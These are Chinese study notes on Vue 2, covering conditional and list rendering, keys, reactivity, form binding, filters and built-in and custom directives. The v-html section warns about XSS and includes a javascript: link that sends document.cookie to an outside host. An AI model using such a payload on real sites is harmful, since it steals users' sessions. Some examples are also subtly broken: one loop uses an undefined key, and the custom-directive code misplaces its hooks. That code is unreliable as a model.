目录
21.条件渲染
条件渲染:
1.v-if
写法:
(1)v-if='表达式'
(2)v-else-if='表达式'
(3)v-else='表达式'
适用于:切换频率较低的场景
特点:不展示的dom元素直接移除
注意:v-if可以和v-else-if,v-else一起使用,要求结构不能被打断
如:
<h2 v-if='n==1'></h2> <h2 v-else-if='n==2'></h2> <h2>打断结构</h2> <h2 v-else></h2>
这样的写法是不对的
2.v-show
写法:v-show='表达式'
适用于:切换频率较高的场景
特点:不展示的Domain元素未被移除,仅仅是使用样式隐藏掉
3.备注:使用v-if时元素可能无法获取到,而使用v-show一定可以获取到
<body>
<div id="root">
<!--使用v-show做条件渲染-->
<h2 v-show="false">hello</h2>
<h2 v-show="1==1">world</h2>
<br>
<!--使用v-if和v-else-if和v-else做条件渲染-->
<h2>当前的值为{{n}}</h2>
<button @click="n++">点我n+1</button>
<div v-if="n==1">1</div>
<div v-else-if="n==2">2</div>
<div v-else-if="n==3">3</div>
<div v-else>esle结构</div>
<br>
<!--v-if与template的配合使用-->
<template v-if="n==1">
<h2>666</h2>
<h2>菜虚鲲</h2>
<h2>阿里巴巴</h2>
</template>
</div>
<!--创建vue实例 -->
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
name:'啊哈',
n:0,
},
methods: {
},
});
</script>
</body>
22.列表渲染
v-for指令:
1.用于展示列表数据
2.语法:v-for='(item,index) in xxx' :key='yyy'
3.可遍历,数组,对象,字符串(用的少),指定次数(用到很少)
<body>
<div id="root">
<!--遍历数组-->
<h1>人员信息(遍历数组)</h1>
<ul>
<li v-for="(p,index) in persons" :key="p.id">{{p.name}}--{{p.age}}</li>
</ul>
<hr />
<!--遍历对象-->
<h1>汽车信息(遍历对象)</h1>
<ul>
<li v-for="(k,value) in car" :key="index">{{value}}--{{k}}</li>
</ul>
<hr />
<!--遍历字符串-->
<h1>测试遍历字符串(用的少)</h1>
<ul>
<li v-for="(char,index) in str" :key="index">{{char}}--{{index}}</li>
</ul>
<hr />
<!-- 遍历指定次数 -->
<h1>遍历指定次数(用到少)</h1>
<ul>
<li v-for="(number,index) in 5">{{number}}--{{index}}</li>
</ul>
<hr />
</div>
<!--创建vue实例 -->
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
persons: [
{ id: "001", name: "菜虚鲲", age: "18" },
{ id: "002", name: "马户", age: "19" },
{ id: "003", name: "小马云", age: "20" },
],
car: {
name: "A8",
price: "70万",
color: "black",
},
str: "hello",
},
methods: {},
});
</script>
</body>
23.key的作用和原理
面试题:react,vue中的key有什么作用(key的内部原理)
1.虚拟DOM中Key的作用
key是虚拟对象的标识,当数据发生变化时,vue会根据[新数据]生成[新的虚拟DOM]
随后vue进行[新的虚拟DOM]与[旧的虚拟DOM]的差异比较,比较规则如下:
2.对比规则:
(1)旧虚拟DOM中找到了与新虚拟DOM相同的key:
1、若虚拟DOM中内容没变,直接使用之前的真实DOM
2、若虚拟DOM中内容变了,则生成新的真实DOM,随后替换页面中之前的真实DOM
(2)旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到页面
3.用index作为key可能会引发的问题
1.若对数据进行:逆序添加,逆序删除等跑环顺序操作
会产生没有必要的真实DOM更新==>界面效果没有问题,但效率低
2.如果结构中还包括输入类的DOM:
会产生错误DOM更新===>界面有问题
4.开发如何选择key?
1.最好使用每一条数据的唯一标识作为key,比如id,手机号,身份证号,学号等唯一值
2.如果不存在对数据的逆序添加,逆序删除顺序操作,只用于渲染列表用于展示,使用index作为key是没有问题的
24.列表过滤
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入人名" v-model="keyWord" />
<ul>
<li v-for="(p,index) in filPersons" :key="p.id">
{{p.name}}--{{p.age}}--{{p.sex}}
</li>
</ul>
</div>
<!--创建vue实例 -->
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
keyWord: "",
persons: [
{ id: "001", name: "马冬梅", age: "18", sex: "女" },
{ id: "002", name: "周冬雨", age: "19", sex: "女" },
{ id: "003", name: "周杰伦", age: "20", sex: "男" },
{ id: "004", name: "温兆伦", age: "21", sex: "男" },
],
// filPersons:[]
},
methods: {
add() {
const p = { id: "004", name: "老王", age: "40" };
this.persons.unshift(p);
},
},
//用watch实现
/* watch:{
ketword:{
immediate:true,
handler(val){
this.filPersons = this.persons.filter((p)=>{
return p.name.indexOf(val)!==-1
})
}
}
}*/
//用computed实现
computed: {
filPersons() {
return this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1;
});
},
},
});
</script>
</body>
25.列表排序
<body>
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入人名" v-model="keyWord" />
<button @click="sortType=2">年龄升序</button>
<button @click="sortType=1">年龄降序</button>
<button @click="sortType=0">原顺序</button>
<ul>
<li v-for="(p,index) in filPersons" :key="p.id">
{{p.name}}--{{p.age}}--{{p.sex}}
</li>
</ul>
</div>
<!--创建vue实例 -->
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
sortType: 0, //0原顺序,1降序,2升序
keyWord: "",
persons: [
{ id: "001", name: "马冬梅", age: "18", sex: "女" },
{ id: "002", name: "周冬雨", age: "19", sex: "女" },
{ id: "003", name: "周杰伦", age: "25", sex: "男" },
{ id: "004", name: "周虚鲲", age: "21", sex: "男" },
],
// filPersons:[]
},
//用computed实现
computed: {
filPersons() {
const arr = this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1;
});
//判断一下是否排序
if (this.sortType) {
arr.sort((p1, p2) => {
return this.sortType == 1 ? p2.age - p1.age : p1.age - p2.age;
});
}
return arr;
},
},
});
</script>
</body>
演示:
26.Vue监视数据的原理
1.vue会监视data中所有层次的数据
2.如何监视对象中的数据?
通过setter实现监视且要在new Vue时就传入要监视的的数据
(1)对象中后追加的属性,Vue默认不做响应式处理
(2)如需给后添加的属性做响应式。要用如下的API
Vue.set(target.propertyName/index,value)或
vm.$set(target,propertyName/index,value)
3.如何监测数组中的数据
通过包裹数组更新元素的方法实现,本质就是做了两件事
(1)调用原生对应的方法对数组进行更新
(2)重新解析模板,进而更新页面
4.在Vue修改数组中某个元素一定要用如下方法
(1)使用这些API:push(),pop(),shift(),unshift(),splice(),sort(),reverse()
(2)Vue.set()或vm.$set()
特别注意:Vue.set()和vm.$set()不能给vm或vm的根数据对象添加属性
<body>
<div id="root">
<h1>学生信息</h1>
<button @click="student.age++">年龄加一岁</button><br />
<button @click="addSex">添加性别属性,默认值:男</button><br />
<button @click="student.sex='未知'">修改性别</button><br />
<button @click="addFriend">在列表首位添加一个朋友</button><br />
<button @click="updataFirstFriendName">
修改第一个朋友的名字为:菜虚鲲</button
><br />
<button @click="addhobby">添加一个爱好</button><br />
<button @click="drive">修改第一个爱好为打篮球</button><br />
<button @click="remove">过滤掉爱好中的抽烟</button>
<h3>姓名:{{student.name}}</h3>
<h3>年龄:{{student.age}}</h3>
<h3 v-if="student.sex">性别:{{student.sex}}</h3>
<h3>爱好:</h3>
<ul>
<li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
</ul>
<h3>朋友们:</h3>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</div>
<!--创建vue实例 -->
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
student: {
name: "tom",
age: 18,
hobby: ["抽烟", "喝酒", "烫头"],
friends: [
{ name: "小马云", age: 35 },
{ name: "驴德华", age: 99 },
],
},
},
//用computed实现
methods: {
addSex() {
// Vue.set(this.student,'sex','男')
vm.$set(this.student, "sex", "男");
},
addFriend() {
this.student.friends.unshift({ name: "马化腾", age: 70 });
},
updataFirstFriendName() {
this.student.friends[0].name = "菜虚鲲";
},
addhobby() {
this.student.hobby.push("rap");
},
drive() {
this.student.hobby.splice(0, 1, "打篮球");
},
remove() {
this.student.hobby = this.student.hobby.filter((h) => {
return h != "抽烟";
});
},
},
});
</script>
</body>
27.收集表单数据
收集表单数据
1.input type=‘text’,则v-model收集的是value值,用户输入的就是value值
2.input type='radio',则v-model收集的value值,且要给标签配置value值
3.input type='checkbox',那么收集的就是checked
(1).没有配置input的value属性,那么收集的就是checked(勾选或未勾选,是布尔值)
(2).配置input的value属性
1.v-model的初始值是非数组,那么收集的就是checked(勾选或未勾选,是布尔值)
2.v-model的初始值是数组,那么收集的就是value组成的数组
4.v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
<body>
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="userinfo.account"><br>
密码:<input type="password" v-model='userinfo.password' ><br>
年龄:<input type="number" v-model.number="userinfo.age"><br>
性别:
男<input type="radio" name="sex" v-model="userinfo.sex" value="male" >
女<input type="radio" name="sex" v-model="userinfo.sex" value="female" ><br>
爱好:
学习:<input type="checkbox" v-model="userinfo.hobby" value="study" >
打游戏:<input type="checkbox" v-model="userinfo.hobby" value="game" >
吃饭:<input type="checkbox" v-model="userinfo.hobby" value="eat" >
<br>
所属校区:
<select v-model="userinfo.city" >
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br>
其他信息:
<textarea v-model.lazy="userinfo.other" ></textarea>
<br>
<input type="checkbox" v-model="userinfo.agree" >阅读并接受<a href="">用户协议</a>
<button>提交</button>
</div>
<!--创建vue实例 -->
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
userinfo:{
account:'',
password:'',
age:'',
sex:'male',
hobby:[],
city:'',
other:'',
agree:'',
}
},
methods: {
demo(){
alert(JSON.stringify(this.userinfo))
}
},
});
</script>
</body>
28.过滤器
过滤器:
定义:对要显示的数据进行特定格式化后显示(适用一些简单逻辑的处理)
语法:
1.注册过滤器Vue.filter(name,classback)或new Vue(filter:{})
2.使用过滤器:{{xxx|过滤器名}}或v-bind:属性='xxx|过滤器名'
备注:
1.过滤器也可以接受额外参数,多个过滤器也可以串联
2.并没有改变原理的数据,是产生新的对应属性
<body>
<div id="root">
<h2>显示格式化后的时间</h2>
<!-- 计算属性实现 -->
<h3>现在是:{{fmtTime}}</h3>
<!-- methods实现 -->
<h3>现在是{{getFmtTime()}}</h3>
<!-- 过滤器实现 -->
<h3>现在是:{{time | timeFormater}}</h3>
<!-- 过滤器实现(传参) -->
<h3>现在是:{{time | timeFormater('YYYY_MM_DD')|myslice}}</h3>
<h3 :x="msg |myslice">阿托莉</h3>
</div>
<div id="root2">
<h1>{{name|myslice}}</h1>
</div>
<script type="text/javascript">
// 全局过滤器
Vue.filter("myslice", function (value) {
return value.slice(0, 4);
});
const vm = new Vue({
el: "#root",
data: {
time: Date.now(),
msg: "时间啊,你是多么美丽",
},
methods: {
getFmtTime() {
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
},
},
computed: {
fmtTime() {
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss");
},
},
//局部过滤器
filters: {
timeFormater(value, str = "YYYY年MM月DD日 HH:mm:ss") {
return dayjs(value).format(str);
},
},
});
new Vue({
el: "#root2",
data: {
name: "hello world",
},
});
</script>
</body>
29.内置指令
1.v-bind:单向绑定解析表达式,可简写为:xxx
2.v-model:双向数据绑定
3.v-for:遍历数组/对象/字符串
4.v-on:绑定事件监听,可简写为@
5.v-if:条件渲染(动态控制节点是否存在)
6.v-else:条件渲染(动态控制节点是否存在)
7.v-show:条件渲染(动态控制节点是否展示)
v-text指令:
1.作用:向其所在的节点中渲染文本内容
2.与插值语法的区别:v-text会替换掉节点中的全部内容,{{xxx}}不会
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-text="str">hello</div>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
name: "呆瓜小罗",
str: "坚持下去!积少成多!",
},
});
</script>
</body>
v-html指令:
1.作用:向指定节点中渲染包含HTML结构的内容
2.与插值语法的区别:
(1)v-html会替换节点中所有的内容。{{xx}}则不会
(2)v-html可以识别HTML结构
3.严重注意:v-html有安全性问题
(1)在网站上动态渲染任意HTML是十分危险的,容易导致xss攻击
(2)一定要在可信的内容上使用v-html,永远不压用在用户提交的内容上
<body>
<div id="root">
<div>你好,{{name}}</div>
<div v-text="str">hello</div>
<div v-html="str2"></div>
<div v-html="str3"></div>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
name: "呆瓜小罗",
str: "坚持下去!积少成多!",
str2:'<h1>你好</h1>',
str3:'<a href=JavaScript:location.href="http://www.baidu.com?"+document.cookie>盗取本网页cookie</a>'
},
});
</script>
</body>
结果展示:
v-cloak
1.本质是一个特殊属性,vue实例完毕并接管容器后,会删掉v-cloak属性
2.使用css配合v-cloak可以解决网速慢时网页显示{{xxx}}的问题
v-once
1.v-once所在节点在初次动态渲染后,就视为静态内容了
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
<body>
<div id="root">
<h2 v-once>初始化的n值为{{n}}</h2>
<h2>当前的n值为{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
n:1
},
})
</script>
</body>
v-pre
1.跳过其所在节点的便宜
2.可以利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译
<body>
<div id="root">
<h2 v-pre>v-pre跳过编译</h2>
<h2 v-once v-pre>初始化的n值为{{n}}</h2>
<h2>当前的n值为{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
n:1
},
})
</script>
</body>
30.自定义指令-函数式和对象式
自定义指令总结:
一、定义语法:
(1)局部指令:
new Vue({
directives:{指令名:配置对象}
})
或
new Vue({
directves(){}
})
(2)全局指令:
Vue.directive(指令名,配置对象)或Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
(1)bind:指令与元素成功绑定时调用
(2)inserted:指令所在元素被插入页面时调用
(3)update:指令所在模板被重新时调用。
三、备注:
1.指令定义时不加v-,但使用时要加v-
2.指令名如果是多个单词,要使用Kebab-case命名方式,不要用camelCase命名
<body>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但是会把绑定的数据放大10倍
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的元素自动获取焦点
-->
<div id="root">
<h1>{{str}}</h1>
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n">放大10倍后的n值是:</span></h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n" />
</div>
<script>
const vm = new Vue({
el: "#root",
data: {
str: "我口袋只有玫瑰一片,此行又山高路远",
n: 1,
},
directives: {
// big函数何时会被调用?1.指令于元素成功绑定时(一上来)2.指令所在的模板被重新解析时
big(element,binding){
console.log('big被调用')
element.innerText=binding.value*10
},
fbind(element, binding) {
element.value = binding.value;
},
//指令所在元素被插入页面时
inserted(element, binding) {
element.focus();
},
//指令所在的模板被重新解析时
update(element, binding) {
element.value = binding.value;
},
},
});
</script>
</body>